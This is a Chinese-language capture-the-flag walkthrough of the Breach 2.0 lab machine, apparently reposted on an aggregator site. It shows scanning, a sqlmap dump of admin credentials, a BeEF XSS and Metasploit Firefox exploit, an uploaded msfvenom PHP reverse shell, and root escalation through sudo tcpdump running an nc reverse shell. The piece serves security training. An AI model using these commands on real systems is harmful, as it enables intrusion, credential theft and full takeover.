Breach 2.0

Posted 曹振国cc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Breach 2.0相关的知识,希望对你有一定的参考价值。

一、靶场环境配置

靶机:

Breach-2.0 192.168.110.151 仅主机模式

攻击机:

Kali 192.168.110.5 仅主机模式

192.168.101.11 NAT模式

二、对目标进行信息收集

1.nmap端口探测

┌──(root💀xuegod)-[~/桌面]
└─# nmap -A 192.168.110.151 -p1-65535   

发现靶场的ssh服务是在65535端口

2.连接ssh服务

┌──(root💀xuegod)-[~/桌面]
└─# ssh 192.168.110.151 -p 65535    

因为翻译试了好几次弱密码都不行,后面突然发现这里:密码是inthesource

使用peter账号连接

再次使用nmap扫描,发现多了一个80端口

访问80端口也并没发现什么

3.扫描目录

┌──(root💀xuegod)-[~/桌面]
└─# dirb http://192.168.110.151    发现有个blog目录

秉着见框就插的原则,在搜索框插入xss语句,发现插入的语句会传入get传参里,没有过滤

4.sql注入找到管理员的账号密码

┌──(root💀xuegod)-[~/桌面]
└─# sqlmap -u http://192.168.110.151/blog/index.php?search=111 -D oscommerce -Tosc_administrators --dump

账号:admin密码:admin 但没有找到登录窗口

5.通过关键字,漏洞库搜索payload

blogphp

该博客系统版本存在存储型XSS,在注册页面用户名的地方输入XSS攻击语句就可以成功攻击

三、使用beef+msfconsole拿shell

1.使用beef进行xss攻击

登录

成功上线,发现浏览器是Firefox15.0版本

Mozilla Firefox ESR 15内存破坏漏洞(CVE-2012-3982)可导致任意代码执行

2.使用msf生成对应的exp

msf6 > use exploit/multi/browser/firefox_proto_crmfrequest 		//进入要利用的exp框架
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set payload generic/shell_reverse_tcp 		//设置要利用exp所需要的payload
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set srvhost 192.168.110.5			//设置攻击机IP
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set uripath shell				//设置exp攻击成功之后的url目录
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set lhost 192.168.110.5			//设置payload的ip地址

3.使用beef+msf将浏览器链接进行重定向

使用beef的Redirect Browser模块,输入msf生成的url进行攻击

4.将shell转义到msfconsole

因为浏览器的shell会在建立后过5秒多就失效了,因此我们需要将shell转移的msf,获得一个稳定的shell

msf6 exploit(multi/browser/firefox_proto_crmfrequest) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 2
msf6 post(multi/manage/shell_to_meterpreter) > exploit 
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 3

5.利用python调用本地shell实现交互式命令行

python -c 'import pty;pty.spawn("/bin/bash")'

四、后渗透

1.查看ssh配置文件

最开始连接ssh服务会直接断开连接,然后开启80断开

cat /etc/ssh/sshd_config
检测到peter登录会执行startme脚本

sudo的方式执行启动apache服务,之后就将数据丢弃

/dev/null : 在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功),读取它则会立即得到一个EOF。

2.查看所开启的端口

peter@breach2:~$ netstat -ntulp

n ---  显示ip代替网络接口信息,显示出网络连接情况

t  ---  显示TCP协议的链接状况

u ---  显示UDP协议的链接状况  

p ---  显示链接程序的名称和PID

l  ---  显示监听服务器的套接字

访问2323端口
peter@breach2:~$ telnet 127.0.0.1 2323
获得一个坐标进行查询
29 45'46" N 95 22'59" W 

坐标是在一个公园 Houston Police Department Memorial

3.查看passwd文件里的用户名和密码

cat /etc/passwd
发现有`milton`和`blumbergh`两个用户

Houston作为miltonblumbergh的密码进行尝试登录

是milton的密码,但是又在问这是谁的打印机

寻找关于账号milton的文件
find /usr -user milton
找到了问题答案是mine

4.登录milton账号进行渗透

5.查看端口,发现又启动了一个8888端口

访问发现多了两个网页

nginx默认首页没有利用价值

6.目录爆破找到了后台登录地址

利用之前从数据库里获得的账号密码登录

admin/admin

7.利用msf获取shell

在tools–>file manager–>includes–>work目录,有可写入权限

制作反弹shell
┌──(root💀xuegod)-[~/桌面]
└─# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.5 LPORT=8888 -f raw > shell.php

开启msf监听
msf6 > use exploit/multi/handler			//使用exp监听模块
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp		//使用payload为之前生成后门所用的payload
msf6 exploit(multi/handler) > set lhost 192.168.110.5		//接收shell的ip
msf6 exploit(multi/handler) > set lport 8888		//监听端口

上传shell.php

在浏览器中访问shell.php,访问的url为:http://192.168.110.151:8888/oscommerce/includes/work/shell.php,访问之后,msf顺利接收到shell

五.提权

发现root不需要密码的命令为tcpdump

1.利用nc反弹shell

nc -lvnp 2021

在msf刚得到的shell中写入脚本
echo "nc 192.168.110.5 2021 -e /bin/bash"> /tmp/shell.sh		//在/tmp目录下写入shell.sh脚本
chmod +x /tmp/shell.sh		//添加执行权限
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root		//使用tcpdump命令

2.利用反弹shell读取flag

shell已经反弹到了nc监听界面,权限是root

利用ls-la找到了隐藏文件flag.py

运行flag.py文件结束这个靶机

以上是关于Breach 2.0的主要内容,如果未能解决你的问题,请参考以下文章

Breach 2.0

Breach 2.0

VulnHub渗透测试实战靶场 - Breach 1.0

如何避免 Rails 中的 BREACH 攻击?

Vulnhub靶场渗透-Breach1.0

GZIP 压缩与 BREACH/CRIME 攻击有关的 HTTPS 流量安全问题?